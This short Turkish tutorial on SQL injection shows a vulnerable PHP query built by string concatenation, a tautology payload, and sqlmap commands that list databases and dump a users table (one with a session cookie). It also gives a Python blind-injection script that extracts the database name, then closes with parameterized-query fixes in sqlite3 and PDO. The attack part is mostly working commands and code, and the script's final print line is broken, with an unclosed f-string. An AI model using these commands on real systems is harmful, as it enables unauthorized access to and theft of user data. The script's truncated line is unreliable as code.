SQL Injection: Temelden İleriye

// ❌ Tehlikeli — doğrudan birleştirme
$query = "SELECT * FROM users WHERE username = '" . $_GET['user'] . "'";

SELECT * FROM users WHERE username = '' OR '1'='1'

# Temel tarama
sqlmap -u "http://target.com/page?id=1"
 
# Veritabanı listele
sqlmap -u "http://target.com/page?id=1" --dbs
 
# Tablo ve kolon dök
sqlmap -u "http://target.com/page?id=1" -D hedef_db --tables
sqlmap -u "http://target.com/page?id=1" -D hedef_db -T users --dump
 
# Cookie ile oturum gönder
sqlmap -u "http://target.com/profile" \
  --cookie="session=abc123" \
  --level=3 --risk=2

import requests
 
url = "http://target.test/page"   # id'yi aşağıda params ile gönderiyoruz (URL'de tekrar etme)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
result = ""
 
for i in range(1, 20):
    for char in charset:
        payload = f"1 AND SUBSTRING((SELECT database()),{i},1)='{char}'"
        r = requests.get(url, params={"id": payload})
        if "Welcome" in r.text:  # true condition
            result += char
            break
 
print(f"[+] Veritabanı adı: {result

# ✅ Güvenli — parametre bağlama
import sqlite3
 
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
 
username = input("Kullanıcı adı: ")
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
user = cursor.fetchone()

// ✅ PHP PDO ile
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_GET['user']]);
$user = $stmt->fetch();